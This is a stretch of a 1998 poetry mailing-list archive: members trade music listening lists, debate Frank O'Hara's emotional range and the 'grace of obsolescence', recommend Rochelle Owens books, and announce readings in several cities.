Jack was famous for his deeply-caring teaching style at Brown, where he tutored generations of writers in the craft of the story and the novel. His

students include Mary Caponegro, Joanna Scott, Rick Moody, Lori Baker and Samantha Gillison.

For those of you who would like to express your condolences to his wife, Sophia, please send me electronic mail ([redacted]) for the address.

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409. **Gary Sullivan**
Re: scene reports, please
Mon 18 May 1998

> *And by way of a random poll: what music do people currently have in rotation?*

Hi, Joel:

Bhajans from films (studio recordings) & live performances by Lata Mangeshkar; Ibrahim Tatlises' (unbeLIEVable) _Haydi Soyle_; two volumes of Alain "king of al howara" Merheb's kick-butt "call & response"-like material, a couple recordings of Abida Parveen (oh. my. gawd.); Nusrat Fateh Ali Khan (traditional stuff AND film hits); 4 billion CDs & tapes of the unconscionably gifted Oum Kolthoum's stuff from the 30s or so through the 60s or so; & a recent discovery, Asmahan & Farid (plucked on lucky impulse from Daff & Raff in Boston).

In English: Butterglory, The Raincoats' _Oddyshape_ (I know it's not that new), & more often than not, Jonathan Richman.

Boy howdy,

Gary

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410. **Don Cheney**
Re: scene reports, please
Mon 18 May 1998

> *And by way of a random poll: what music do people currently have in rotation?*

Joel,

we just got a 5 cd changer:

1.beck odelay
2.ennio morricone - a fistful of movie music or some such title (i just picked it up yesterday at the swap meet-it's a 2 cd collection of movie music but they only had the first cd)

3.foo fighters - the colour and the shape(?)
4.nirvana - that mtv live thing
5.luscious jackson - fever in fever out

this gets changed a lot. usually coltrane's my favorite things is in the rotation.

and t.v. smith's _immortal rich_ is in my cd rom at work.

Our newfound, street dog, Pasa, in her adjustment to life in a home with people, jumped on the turntable and it's not turning anymore. On the cassette player: Phil Hendrie radio shows, Marty Robbins Columbia House collection vols 1 & 2 and like you Joel, I picked up a Sinatra cassette (the two robbins and sinatra for a buck) but i haven't listened to it yet. It's something with Quincy Jones in L.A. My dad used to play a lot of sinatra records and i can still vaguely see one of the album covers it was all black and sinatra was painted up like a clown or something. I remember it with the sense of creepiness/strangeness i felt when i saw it as a kid.

And on my nightstand turntable:

1. bill luoma works & days
2. juliana spahr response
3. charles bernstein the subject
4. word 4 windows 4 dumbasses
5. walter mosley gone fishin'

don cheney

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411. Christopher Reiner
new WITZ
Mon 18 May 1998

WITZ: A Journal of Contemporary Poetics

Essays, Criticism, Reviews

Volume 6, Number 1

Featuring:

Thomas Epstein on Ivan Zhdanov: "Zhdanov is acutely aware of the three-pronged crisis of language, memory, and identity. Well acquainted with the 'prison house of language' and history, Zhdanov does not merely celebrate or ironize it...but seeks to use the bars of the postmodern prison against themselves, creating an authentically contemporary lyric voice from shards of language, experience, memory. ..."

Paul Vangelisti on Constructing Beauty: "Consider beauty or the beautiful at a time when many institutional (institutionalized?) artists and critics in the U.S. have appeared committed to, or at least professionally occupied in its deconstruction..."

Gilbert Alter-Gilbert on Literary Portraits in the Movies

William Marsh on Heather Fuller

Jacques Debrot on Dennis Phillips

Edited by Christopher Reiner
38 pages; 8.5S x 5S.

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Witz is always looking for essays, critical work or reviews of contemporary poetry and poetics. Please inquire first, with a letter or email to the editor (hey, that's me).

[redacted]

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412. **Gary Sullivan**
Re: Lyn Hejinian/Gertrude stein
Mon 18 May 1998

Hi, Marjorie:

> *What is true--and maybe this is what*
> *Gary meant--is that Frank's emotions are right on the surface*

It may be that's what I meant, at least in part . . . "for me," what does seem to connect (as opposed to what I see gestured), & taken as a whole, what that experience (again, "for me") is "like" . . . which is what I tried to articulate earlier, & no doubt failed, myself, to get across . . . I think Jonathan, you asked for some others, & so:

Dambudzo Marachera (his journals I guess moreso than his poetry, or plays, see _Mindblast_, yes, horrible-sounding title, I know) . . . Sheila E. Murphy, whose

work, among my more-or-less contemporaries, moves me more than anyone's (see, especially _Tommy & Neil_ and _A Clove of Gender_, or sections of both as excerpted in _Falling in Love Falling In Love With You Syntax_), I should quote something, & will, in a sec . . . Pessoa, & emotive weight need not arise from specific "emotional" situation, it's all, after all, in or of the imagination . . . bp Nichol (who I'm really starting to read, & connect with, now) . . . John Wieners (whose range may be, overall, less than O'Hara's, but who I connect with, on that level, "emotional," more, & who, like bp, is maybe less "sanitized"-feeling to me) . . . Laurie Price & Daniel Davidson (mostly things read in manuscript) . . . anyway, something from Sheila, for comparison (if you like) w/something of O'Hara's:

BEAUTIFUL SUNWARM ARIZONA
BEAUTIFUL ABSENCE OF CRIMES AGAINST THE SKIN
BEAUTIFUL SLEEP TO OPEN SKY MOTIF
BEAUTIFUL LOVEMAKE TO THE HUM OF SKY

Moreover I'm suspended in this moment of your tenderness
I would prefer to keep
Would rather glean from certain moccasins
The shape and feel of elements
We wide awaken
As the soft mid-air detains an underpinning
Shaped like sadness
Any accident is pleasure
To the tune of frame the tune of holy ropes we know
We sleep

Moreover I'm agreed to love in theory and
The practice is my fondest symptom
Mercury slips out of retrograde at last
At last the homonyms
Are starting to be neighbors and the tulips speak
Hibiscus will prevail they match my mother's hair
The season is a relec of efficiency and spree
The bliss of it inside
The net accommodation furnishing the seaside moon
Until my mood is glandular again

Moreover I'm sensate as youth despite
The several whitesprouts showing I can make elastic
Of convictions now and love cement
While seeing water curdle in the stumps of seafoam

Slithering along the rhythm toward and back
So tactful as to be this version reverence

Immaculately world as we define the envelope
We need around our shoulders picture
Heaps of white warming the shamefaced chill
A full semester until sundown when another beauty
Is quite suddenly again affordable

(from _A Clove of Gender_)

By "sanitized," again generally, I mean that quality of lightness/irony in O'Hara that I do find, & feel, which is not to say he doesn't have his "heavier," less oblique moments, or that lightness isn't something to shoot for (Jack Smith devotes part of a wonderful later essay on aesthetics to this) . . .

Gary

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413. **Ellay Phillips**
Re: yet another query
Mon 18 May 1998

> *At 03:15 PM 5/15/98 -0400, you wrote:*
> *where can one find a copy of TEMBLOR in NYC? St. Mark's?*
>
> *mz*

can't say for nyc but if yer ever in san francisco and still looking for copies of temblor check the green apple book store in the richmond on clement street. when eye lived there they had quite a few copies eye think in the poetry section. or maybe you can get a friend to get them for you.

Ellay

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414. **david bromige**
re rigid members
Mon 18 May 1998

---

right, Gwyn, life isn't the only thing that should be hard. db3

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415. AERIALEDGE
DC Reading for An Anthology of New (American) Poets
Mon 18 May 1998

Sunday May 24th @ 8 PM

A Publication reading for _An Anthology of New (American) Poets_.

Readers will include Lee Ann Brown, Jordan Davis, Drew Gardner, Lisa Jarnot, Mark McMorris, Eleni Siklianos, Rod Smith, Chris Stroffolino, Edwin Torres, & Mark Wallace.

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC

ph [redacted]

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416. Don Byrd
Re: scene reports, please
Mon 18 May 1998

One of the most amazing musical events I have witnessed in some time last Friday night in Albany. Roscoe Mitchell, Borah Bergman, and Thomas Buckner were to perform at the Unitarian Church (wonderful, austere, little Enlightment space, with white pews and white windows with big jade plants).

Buckner was sick and didn't come. The opening act was a band led by the concert organizer (awful). When we came back from intermission (we were sitting in the second row), there was a major fight going between Mitchell and the organizer, with Bergman--it appeared--in the middle, over recording rights. Finally, Mitchell stomped out and appeared to be leaving. Bergman sat down at the piano and started playing some very sweet lines in his light and airy, almost flute-like, way. Interesting ability to make a piano take on the fluidity of a flute. After about 15 minutes, Mitchell reappeared and took his instruments out of the case, though apparently Bergman, who was facing the other way and had his face buried in the keyboard, didn't know he was there. After muttering under his breath, "the bastard won't even stop and give me an A," and other disgruntled comments that I couldn't make out, he started to play. Bergman responded immediately, and a conversation began. They played for ninety minutes, obviously working out their problems. I have never heard music more beautiful and full of content. Mitchell, through long passages, was circular breathing and still responding almost note for note to the piano.

Bergman is an amazing musician who hasn't recorded much since the 80s as far as I know, but he is a perfect match for Mitchell. The issue for both of them seems to be fluidity. Some times time seemed to be moving at more than one time and in more than one direction, but without great turbulence (as in a number of Mitchell's recordings). There is a recording (from 95) of the Mitchell, Bergman, Buckner trio which I haven't heard (on the Knitting Factory label).

db

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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417. **henry g**
Re: subsistence what matter poetry
Mon 18 May 1998

Wendy & Gary's interesting thread is an illustration of one sense of what I meant by saying "the obsolete is the most radical". Maybe there's also a connection between what Wendy was saying about "outside" materials and Beth Anderson's thinking about the "democracy of things" in her still life poetics essay (Impercipient lecture series). There will probably always be this tension between voice (lyric) and material (epic). Maybe F.O'H.'s "limited emotional range" is just a function of lyric in general. Limited is not always a liability if it's counterbalanced by intensity. I realize very few accept the idea of FOH's range being limited anyway, & I'm not saying it is. - Henry G.

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418. **Jordan Davis**
sanitized grace
Mon 18 May 1998

Gary --

Thanks for the clarification in re: sanitization (I keep hearing "sanity") -- now I think I know what quality of O'Hara's work you're referring to -- but couldn't it be characterized, sympathetically, as grace?

Hope all's well --
Jordan

↑ Index

419. **Gary Sullivan**
Re: sanitized grace
Mon 18 May 1998

Hi, Jordan:

Yes . . . definitely . . . though, I think Wieners is extraordinarily graceful, & bp Nichol, too . . . even Lally . . .

Gary

On Monday, May 18, 1998 2:28 PM, Jordan Davis [SMTP:[redacted]] wrote:
> Gary --
>
> Thanks for the clarification in re: sanitization (I keep hearing "sanity")
> -- now I think I know what quality of O'Hara's work you're referring to --
> but couldn't it be characterized, sympathetically, as grace?
>
> Hope all's well --
> Jordan

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420. **groberts**
Re: subsistence what matter poetry
Mon 18 May 1998

Wendy, your post on subsistence and recycling and play is just the kind of declaration of poetics that I love to find on the list. I agree that subsistence and excess "can be together" in poems and elsewhere. Have you seen this great coffee table book, Gardens of Revelation by John Beardsley, which describes and photographs bricolaged "environments" like houses and other structures excessively adorned with bits of broken glass, concrete, autoparts, etc., a la Schwitter's merzbaus?

Your remarks on the relation of touch to collage play reminded me of Claes Oldenburg's hilarious and disturbing Ray Gun collections, which consisted of scavenged fragments with any remote resemblance to a right angle, arranged

and mounted for display in a museum. But these ray guns, of which there is also a prodigious supply in the world, seem to be suggesting a different kind of insistent "contact/touch" than you describe: the guns have ostensibly been rendered harmless by their parodic institutional show- casing (as a supposed part of a museum installation they can't be touched, that is, fired off) but thye have their identity as weapons precisely because of this same act of institutional framing. The puzzle that this example of trash recycling creates is interesting to me because it takes aim at how the energies of seeing, touching, playing, and collecting are related to each other and to historical epistemes: where does the "energy" of a ray gun come from? Does the ray gun of the Cold War neutralize the sense of touch, since its made for a hand that does not recoil when it discharges its lethal beam? I wonder how in the cyber-world of repetitive stress injuries could a subsistence poetics of recycling challenge the institutional neutralization of touch?

Thanks for pointing out how "word-garbage" defies the traditional form of lyric that I was asking about. I remember first noticing its potential in a photo of a curbside New York news stand in Robert Frank's The Americans: in the lower half of the picture, dozens of overlapping magazines stand arrayed with their titles, in all kinds of font and format, interrupting each other: they wait to be dispersed into the city, whichis defined by the upper half of the picture showing a skyscraper's rows and rows of polite windows. That juxtaposition somehow showed me the possibility that you are making into poems.

Gary R.

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421. Henry Gould
grace of obsolescence
Mon 18 May 1998

In any system (social, economic, natural) everything is potentially or really or partially obsolete, redundant, cast-off. One definition of Life might be: a variety of responses to obsolescence. Radical art is when the obsolete stands up and starts to walk & talk back.

Oh yeah - "grace". Almost forgot!!

- Henry the Disgrace

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422. Gary Sullivan
Re: grace of obsolescence
Mon 18 May 1998

Hi, Henry:

Gerald Burns, in a poem somewhere, defines "horror" (he was fascinated by horror) as "sudden life in a dead body" . . . I wonder if his fascination of horror was related, in some essential way, to this . . .

> *Radical art*
> *is when the obsolete stands up and starts to walk & talk back.*

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423. R. Gancie
Mary Shelley Meets von Neumann Interstellar Probes
Mon 18 May 1998

"Whenever he [John von Neumann] discussed self-reproduction, he mentioned mutations, which are random changes of elements....In section 1.1.2.1 above and Section 1.8 below he posed the problems of modeling evolutionary processes in the framework of automata theory, of quantizing natural selection, and of explainng how highly efficient, complex, powerful automata can evolve from inefficient, simple, weak automata. A complete solution to these problems would give us a probabilistic model of self-reproduction and evolution."---from Theory of Self-Reproducing Automata by John von Neumann & Arthur W. Burks --- "In order to investigate whether life can continue to exist forever, I shall need to define "life" in physics language. I claim that a "living being" is any entity which codes information (in the physics sense of the word) with the information coded being preserved by natural selection. Thus "life" is a form of information processing, and the human mind-and the human soul-is a very complex computer program. Specifically, a "person" is defined to be a computer program which can pass the Turing test, which was discussed in Chapter II."---from Physics of Immortality: Modern Cosmology, God and the Resurrection of the Dead by Frank J. Tipler, Professor of Mathematical Physics at Tulane University, Doubleday --- Tipler had initially believed that it was impossible to imagine what an infinitely intelligent being would think about or do. But then he read an essay in which the German theologian Wolfhart Pannenberg proposed that in the future all humans would live again in the mind of God. The essay triggered a "Eureka!" revelation in Tipler, one that served as an inspiration for Physics of Immortality. The Omega Point, he realized, would have power to re-create-or resurrect-everyone who had ever lived for an eternity of bliss. The Omega Point would not merely re-create the lives of the dead; it would improve on them. Nor would we leave behind our worldly

desires. For example, every man could have not only the most beautiful woman he had ever seen or the most beautiful woman who had ever lived; he could have the most beautiful woman whose existence was logically possible. Women, too, could enjoy their own logically perfect megamates.

Tipler said he did not take his idea seriously at first. "But you think about it and you have to make a decision: do you really believe these constructs that you've created based on physical laws or are going to pretend they are pure games with no relation to reality."---from The End of Science by John Horgan, Addison Wesley --- "By the middle of the next century [Hans] Moravec said, robots will be as intellgent as humans and will essentially take over the economy. "We're really out of work at that point," Moravec chortled. Humans might still pursue "SOME QUIRKY STUFF LIKE POETRY" thht springs from psychological vagaries still beyond the grasp of robots, but robots will have all the important jobs."---ibid-cp

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424. morpheal
Re: grace of obsolescence
Mon 18 May 1998

> *In any system (social, economic, natural) everything is potentially or really or partially obsolete, redundant, cast-off. One definition of Life might be: a variety of responses to obsolescence. Radical art is when the obsolete stands up and starts to walk & talk back.*

What is considered worthless and obsolescent by one is considered a priceless antique by another. How can both be conservatives when they are in such vehement, and sometimes violent conflict with each other that the one preaching obsolescence will do anything to destroy, render worthless, and get rid of, the obsolescent, while the other will do nearly anything to save, preserve, conserve, and safeguard it from that same destruction ? They cannot both be conservatives within the same system, can they.....but they are.

In one sense it must be a die hard radical Protestant who is preaching radical obsolescence.

The other, opposing radical obsolescence, would be considered anti-progress, regressive, retro, and simply a stick in the mud....

Which one then gets the "grace" ? Perhaps obvious.

M.

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425. **morpheal**

Re: grace of obsolescence

Mon 18 May 1998

> *Gerald Burns, in a poem somewhere, defines "horror" (he was fascinated by horror) as "sudden life in a dead body" . . . I wonder if his fascination of horror was related, in some essential way, to this . . .*
>
> *Radical art*
> *is when the obsolete stands up and starts to walk & talk back.*

No. At least not consensually. Least of all amongst art critics.

In the present era radical art truly begins when that same object that was deemed obsolete and which stood up, and started to walka nd talk back, was replicated into many very similar such objects, all equally obsolete according to the same criteria of obsolescence.

Without predictable repeteatability of at least stylistic and technical elements as to composition, that produce "signature" effect, the work of art is not a work of art, whether radical art or traditional art. It is simply hacking, dabbling, diletantism, amateurish, hobbyist, unprofessional crazy making.....

Professional art, whether radical or otherwise, inevitably requires acknowledged signature effect common to all the instances of that art, radical or otherwise, and so it requires, by definition, many instances and not only one.

Therefore, it follows logically that an individual, same as an individual instance of object taken by itself as itself, cannot be art. Only when an element of mass production is added to the works, and that element of mass production in a sense permits "consecration" the works in question do the works in question gain that ever sought after consensually given legitimacy.

All of that is not very radical.

I do, myself, believe, that an individual instance of genuine creativity can be a more radical expression and legitimately work of art, even without signature effect being evident, but that is only my own opinion and not how the art world currently functions.

M.

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426. Jerome Rothenberg (by way of John Cayley)
Performance/Reading : Yang Lian & John Cayley
Mon 18 May 1998

Visual Arts & Literature, University of California, San Diego
==========

As a special final event in this quarter's New Writing Series, there will be a joint reading

on Friday May 22nd at 4:30 p.m.
by John Cayley and Yang Lian.
The venue for this event is the Visual Arts Facility,
Performance Space of the UCSD Campus (Gillman Drive, La Jolla)

John Cayley, who has been in residence at UCSD for the spring quarter, is a poet, literary translator, and the founding editor of The Wellsweep Press in London, which, since 1988, has specialized in the publication of literary translation from the Chinese. He is also widely known for his experiments with cybertext and other forms of electronic poetry -- an engagement most recently "with the creation of literature 'beyond codexspace' in new media offered to writers by electronic technologies."

Yang Lian, one of the key figures among the post-Mao "misty poets," has continued and expanded his writing while living outside of China and is today a postmodern experimentalist of genuine international stature. His work, which has found rich sources at the margins of Chinese culture -- the south, the far west and Tibet -- and in ancient Chinese cultural forms -- such as his reading of The Book of Changes -- is wide-ranging, exploratory, linguistically rich and deeply rewarding. English versions of his poems include _Crocodile_, _Non-Person Singular_, and _Where the Sea Stands Still_, the last of which has been performed live in a cybertextual and audiovisually enhanced version byYang Lian and John Cayley.

The reading by John Cayley and Yang Lian is free and open to the public.

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427. ScoutEW
Re: scene reports, please
Mon 18 May 1998

Got to say good things about Jeff CLark's Book "The Little Door SLides" back. order it up from Sun$Moon it is excellent but won't tell you more about it because you should go buy it instead of any new Jazz records....

erik sweet

↑ Index

428. Peter Balestrieri
Rochelle Owens
Mon 18 May 1998

Hi,
Does anyone have a suggestion for a good introductory work by Rochelle Owens? One that shows her at her wildest? Please backchannel only.
Thanks,
Pete Balestrieri

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429. William Burmeister Prod
Re: scene reports, please
Mon 18 May 1998

On May 18, 5:22pm, ScoutEW wrote:
> Subject: Re: scene reports, please
> Got to say good things about
> Jeff CLark's Book "The Little Door SLides" back. order it up from Sun$Moon
> it is excellent but won't tell you more about it because you should go buy it
> instead of any new Jazz records....

Oh do tell!

↑ Index

430. ScoutEW
Re: scene reports, please
Mon 18 May 1998

In a message dated 5/18/98 4:41:06 PM, you wrote:

<<Oh do tell!>>

If you must know these are some words to describe Mr Clark's book

"Great1" "delicious"
"wonderful" "full"
"good" "antiques"
"angular" "greenpipe"
"celebratory" "pleasing"
"spoony" "free"
"Great2"

erik william sweet born 1971 also (the year of the pig)

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431. **Maz881**
Re: Lyn Hejinian/Gertrude stein
Mon 18 May 1998

---

also, Maria, this might be of interest to your etudianter:

Juliana Spahr : "Resignifying Autobiography: Lyn Hejinian's My Life" American Literature 68:1 (1996), 139-159.

try [redacted] for specific questions.

Bill

<<Maria, Lyn has a great piece called "Two Stein Talks," TEMBLOR, I think #8 but somewhere in there that would be crucial for your student. Also, Charles Bernstein's CONTENT'S DREAM and A POETICS (and the new book MY WAY) ULLA DYDO, various pieces on Narrative, and the headnotes in her wonderful THE STEIN READER.

At ACLA in South Bend a few years back, Chris Beach, Ming Quian Ma, and Steve Fredman did three great papers on Lyn and Stein certainly came in--you might ask Steve to see his--I believe none are published yet.

While I'm writing, I'll get into the O'Hara fray. I haven't answered thus far because I felt I almost couldn't--to me, O'Hara has an amazing emotional range, who more so?? What is true--and maybe this is what Gary meant--is that Frank's emotions are right on the surface--joy, pain, misery, anxiety, hope, lust, excitement--we get the gamut as he experiences them. His poems are deeply moving--take a look at "The Clouds Go Soft" (already mentioned here) and "Ode for Joe LeSueur on the Arrow that Flieth by Night"--both quite devastating. And the technique is such we're immediately drawn INTO the poems--can't get away!

Marjorie Perloff>>

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432. **k. lederer**
EXPLOSIVE ANNOUNCEMENTS
Mon 18 May 1998

EXPLOSIVE MAGAZINE NUMBER FIVE

"S p e c t a c u l a r E m o t i o n"

is now available and features work by:

Ishmael Klein, Emily Wilson, Martin Corless-Smith
Josh May, DA Powell, Pam Lu, Tan Lin, Juliana
Spahr, and sound collage (an actual tape affixed
to the mag!) by Alex Cory.

$5 ($15 for a 3 issue subscription)
Make checks payable to: Katy Lederer
420 E Davenport : #2 : Iowa City : IA
52245

.....

A N E X P L O S I V E B E N E F I T E V E N T A N E X P L O S I V E B E N

S A T U R D A Y , M A Y 30 th , 8 : 0 0 pm , S E G U E P E R F O R M A N C E S P A C E , 3 0 3 E 8 th S T R E E T , b / w A V E S B a n d C F E A T U R I N G R E A D I N G S B Y : C H A R L E S B E R N S T E I N , A N S E L M B E R R I G A N , L E E A N N B R O W N , T I M D A V I S , B R E T T E V A N S , J O R D A N D A V I S, G R E G F U C H S , J E N H O F E R , D R E W G A R D N E R , L I S A J A R N O T , P R A G E E T A S H A R M A , L I S A L U B A S C H , C H R I S S T R O F F O L I N O , S I A N N E N G A I , M A X W I N T E R , M I K E T Y R E L L , M I C H A E L D U M A N I S , S O T H E R S O T H E R S O T H E R S O T H E R S O T H E R S O T H E R S O T H E R S

$ 5 R E Q U E S T E D D O N A T I O N , R E F R E S H M E N T S A N D M A G A Z I N E S A N D T - S H I R T S A V A I L A B L E , M U S I C T O O !

.....

↑ Index

433. Hugh Steinberg
Re: Rochelle Owens
Tue 19 May 1998

Pete:

Two books: The Joe 82 Creation Poems and The Joe Chronicles Part 2, both by Black Sparrow.

Highly recommended!

Hugh Steinberg

↑ Index

434. **Stephen Cope**
Re: scene reports, please
Tue 19 May 1998

Lovely Music (out of New York) has released two recordings that I know of w/ Mitchell and Bruckner. On the one I have, they set Thulani Davis, Joseph Jarman, and ee cummings poems, in addition to three sections of Childe Harold's Pilgrimmage (the recording is entitled _Pilgrimmage_). Beatiful stuff. (Lovely is at 10 Beach Street, NYC, 10013)

MUWORKS released a Borah Bergman/Thomas Chapin date in 1992. _Inversions_ it's called. Fluidity is not a word I would have used to describe it, but that may be more Chapin than Bergman...

Stephen

↑ Index

435. **Stephen Cope**
Re: scene reports, please
Tue 19 May 1998

I'll add to Gary's list Mayada El-Henawi - more recent than Asmahan, but a stunning voice. And as for adding to the current rotation: Dahmane el-Harrache's Volumes I and II (just brought to me from Paris), either of which might be a desert island choice were it to come to that. (On Club Du Disque Arabe, hard to find statewide except for newer stuff).

And what about this Clarke book that I've been hearing so much of? I've not get got it, but the operative word in descriptions I've heard is "strange."

Stephen

> *And by way of a random poll: what music do people currently have in rotation?*
>
> *Hi, Joel:*
>
> *Bhajans from films (studio recordings) & live performances by Lata Mangeshkar; Ibrahim Tatlises' (unbeLIEVable) _Haydi Soyle_; two volumes of Alain "king of al howara" Merheb's kick-butt "call & response"-like material, a couple recordings of Abida Parveen (oh. my. gawd.); Nusrat Fateh Ali Khan (traditional stuff AND film hits); 4 billion CDs & tapes of the unconscionably gifted Oum Kolthoum's stuff from the 30s or so through the 60s or so; & a recent discovery, Asmahan & Farid (plucked on lucky impulse from Daff & Raff in Boston).*
>
> *In English: Butterglory, The Raincoats' _Oddyshape_ (I know it's not that new), & more often than not, Jonathan Richman.*

> *Boy howdy,*
>
> *Gary*

↑ Index

436. **Hugh Steinberg**
Re: Rochelle Owens
Tue 19 May 1998

Wow, I guess I got lucky: I found them both for 2 bucks a piece at a used bookstore in Menlo Park.

Hugh Steinberg

Mark Weiss writes:

> *And both long out of print. For substantial selections from them as chosen by Rochelle see her __New and Selected Poems: 1961-1996_, available from Junction Press. Good reviews in the current Sulfur and Harvard Review, as well as earlier ones in PW, Library Journal, and World Literature Today. Rochelle is one of the essential poets of her generation. By the 60s she had already prefigured in fully realized form much of what those of us on this interesting margin most value. She got a lot of notice in her years in New York but fell out of notice when she moved to Oklahoma. Even the best writers get lost to view if they don't work real hard to stay visible, alas.*
>
> *At 10:37 PM 5/18/98 -0600, you wrote:*
> *Pete:*
>
> *Two books: The Joe 82 Creation Poems and The Joe Chronicles Part 2, both by Black Sparrow.*
>
> *Highly recommended!*
>
> *Hugh Steinberg*

↑ Index

437. **Mark Weiss**
Re: Rochelle Owens
Tue 19 May 1998

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>by Black Sparrow.
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>Highly recommended!
>
>Hugh Steinberg
>
>

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438. Stephen Cope
Beyond the Page
Tue 19 May 1998

For those in the San Diego area, or those vacationing to the San Diego area, here's the reading in the BEYOND THE PAGE series for May.

See you there,

Stephen

ps- For those of you heading out this way, be in touch. BTP will continue through the summer....

>BEYOND THE PAGE PRESENTS:
>
>FOR IMMEDIATE RELEASE:
>
>What: BEYOND THE PAGE continues its series of monthly performance and
>arts
> events with MARTIN NAKELL and PASQUALE VERDICCHIO reading
from their
> works.
>
>Where: Faultline Theatre, 3152 5th Avenue (between Thorn and Spruce in

> Hillcrest), San Diego.
>
>When: Sunday, May 31st. 4:00 PM.
>
>Contact: Stephen Cope at [redacted] or Joe Ross at [redacted]. E-mail
  at [redacted].
>
> * * * * * * * * *
>
>
>PASQUALE VERDICCHIO was born in Naples in 1954, and currently lives in San
>Diego. His poetry, reviews, criticism, photography, and scholarly articles
>have appeared in numerous journals both in the United States and abroad,
>and he is the author of seven books of poetry and three critical works. A
>noted translator as well as a writer, Verdicchio has published fifteen
>books of translations, including the work of such major Italian poets as
>Antonio Porta, Andrea Zanzotto, Pier Paolo Pasolini, Giorgio Caproni, and
>Alda Merini, as well as pamphlets by noted philosophers Antonio Gramsci
>and Giambattista Vico. Of the many literary awards with which Verdicchio
>has been honored, the most recent is a Canada Council Translation Grant
>(proffered this year). He is a professor in the Literature Department at
>the University of California, San Diego, where is currently Head of the
>Writing Program.
>
>
>MARTIN NAKELL lives in Los Angeles and edits Jahbone Press. He has
>published poetry and fiction in numerous journals, including Washington
>Review of the Arts, Litteral Latte, Ribot, Remap, HyperAge, and Hanging
>Loose. His books include _The Myth of Creation_ (Parentheses Press) and
>_The Library of Thomas Rivka_ (Sun & Moon Press), as well as a chapbook of
>fiction,
>_Ramon_. _Form_ is a work that is forthcoming from Parenthesis, and _Two
>Fields That Face and Mirror Each Other_ is a completed work of fiction. He
>has received grants from the NEA and the Blue Mountain Center, as well as
>a Writers & Books Fellowship in Poetry. Nakell is currently a professor of
>20th-Century American Literature at Chapman University in Orange County.
>
>
> * * * * * * * * *
>
>

We are proud to continue our monthly series of arts-related events by welcoming these two internationally known writers.

BEYOND THE PAGE is an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], [redacted], or e-mail: [redacted].

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439. **Herb Levy**
Re: scene reports, please
Tue 19 May 1998

Oops, I'm a culpa.

Those of you out of towners who usually try to get to Seattle for the Subtext readings probably won't be able to get cheap airfares for the first of these readings, but for the later ones it should still be possible.

May 21

Jim Jones, author of several books on Jack Kerouac talking about Kerouac in Seattle & Anselm Hollo in his first Seattle reading. Hollo is also offering a Friday/Saturday workshop based on Berrigan's The Sonnets.

June 18

Lisa Jarnot & Jean Day

July 16

Bryant Mason & Ed Foster

(For those who are keeping track, this is the completion of Nico Vassilakis's current curation.)

All Subtext readings are at the Speakeasy in the charmingly re-developed Belltown district of Seattle. The idea is that readings start at 7:30 pm, perhaps someday we will achieve this goal.

&, in keeping with what this subject line has become, when I'm in a conscious mode, I'm mostly listening to some prototype discs for 2 forthcoming Periplum CDs of interactive computer music by Canadian composer Martin Bartlett (out real soon now, with performances by soprano recorder virtuoso Peter Hannan, trombonist George Lewis, who also creates interactive electronic works of his own, and cellist Frances-Marie Uitti) & works for homemade electronic instruments by Dan Senn.

Cause I've been sick lately I'm often listening to, or at least hearing, Morton Feldman's For Philip Guston a four & a half hour piece for flutes, celeste &

percussion that I put in the multidisc player & put on repeat for days. It's an amazing sound world to live among & wake up in the midst of, especially when you don't know where you are in the piece.

Also, for what it's worth, CCMC doesn't stand for anything, John Oswald the electronic collage artist is indeed the same person as John Oswald the saxophonist (& he's a really good saxophonist), & Michael Smith is a phenomenal film maker, installation artist, etc.

& lastly, long time list readers may remember this, but for you newer folks if you're looking for non-writing readers of "experimental" poetry who also don't work as critics or teachers, there's me for one.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

440. david bromige
Martin Bartlett (per Herb Levy's scene update)
Tue 19 May 1998

Really glad to see Martin's name mentioned as a composer whose work is receiving attention. My gladness is both esthetic and personal. He and I went way back, and in fact performed in a play by Earle Birney together at U Wash in Seattle in 1960 or earlier. I was with him when he broke into a Vancouver church to play the organ, drunk as a lord. He had one of those larger-than-life characters (whoever he was _really_ , como se dice [listen to the music!]), that made Univ Brit Col a lucky place to be 40 years ago . . .another, being Listgoader Bowering. Last time I heard Martin live was at Langton St in SF in the mid-80s I think. Now sadly no longer with us, but for the music,--and plaudits to who's made that possible.

Good also, to be reminded by Herb of the Subtext Series--great venue, attentive audience. (Remember to let people know it's happening in the back, though--there were those who came to hear Robin Blaser but went away empty-handed, thinking the front of the space was where it was supposed to be happening, and that it had been canceled last-minute). The upcoming programs look to be tiptop. Wish I could take Anselm's workshop.

Otherwise, and back home, our series at the Cinnabar Theater in Petaluma is over until September, and Sonoma State is ending its academic year next week, so nothing to report on the reading scene.

Even more back home, my latest listening has been the RCA Jazz Tribune double CD of Bix Beiderbecke, backed by and backing variously Bing and the Rhythm Boys, Joe Venuti, Frankie Trumbauer, the Dorseys, Lennie Hayton, Benny Goodman, Gene Krupa, Jean Goldkette, Irene Taylor, Jack Teagarden, Eddie Lang, the Kewller Sisters and many more. Beiderbecke's solo on "From Monday On" reminds me of a sentence from _Under the Volcano_ : "it was a day like a good Joe Venuti record," -- penned by Malcolm Lowry, a fellow moldy fig. And let me recommend Jonny Lang's _Lie to Me_ CD,a dozen retro rock blues numbers played & sung by a masterly young guitarist.

db3

↑ Index

441. **ScoutEW**

Re: scene reports, please

Tue 19 May 1998

In a message dated 5/18/98 11:59:17 PM, you wrote:

<<I've not
get got it, but the operative word in descriptions I've heard is "strange."
>>

Dr. Strange...

"I will wade into the Pacific and kiss my mother!"

"Come, love, and bury the blue jays."

↑ Index

442. **henry**

Re: grace of obsolescence

Tue 19 May 1998

On Mon, 18 May 1998 15:07:31 -0400 Gary Sullivan said:
>
>Gerald Burns, in a poem somewhere, defines "horror" (he was fascinated by
>horror) as "sudden life in a dead body" . . . I wonder if his fascination of
>horror was related, in some essential way, to this . . .
>
>> Radical art
>> is when the obsolete stands up and starts to walk & talk back.

Well, maybe there's unnatural, natural and supernatural regeneration (resurrection). In such case, maybe "horror" is radical art sans grace. Never cared for it myself. Rather than giving life to "discarded materials", horror

gives life bad dreams. I hate the whole process. Television alternates between selling large expensive vehicles and discarding them in horrific explosions. -Henry G.

↑ Index

443. **Douglas**
Re: John Hawkes
Tue 19 May 1998

I want to thank Gale Nelson for posting the
sad news of John Hawkes' death. I might mention
for all the poets, that Hawkes' fiction is true
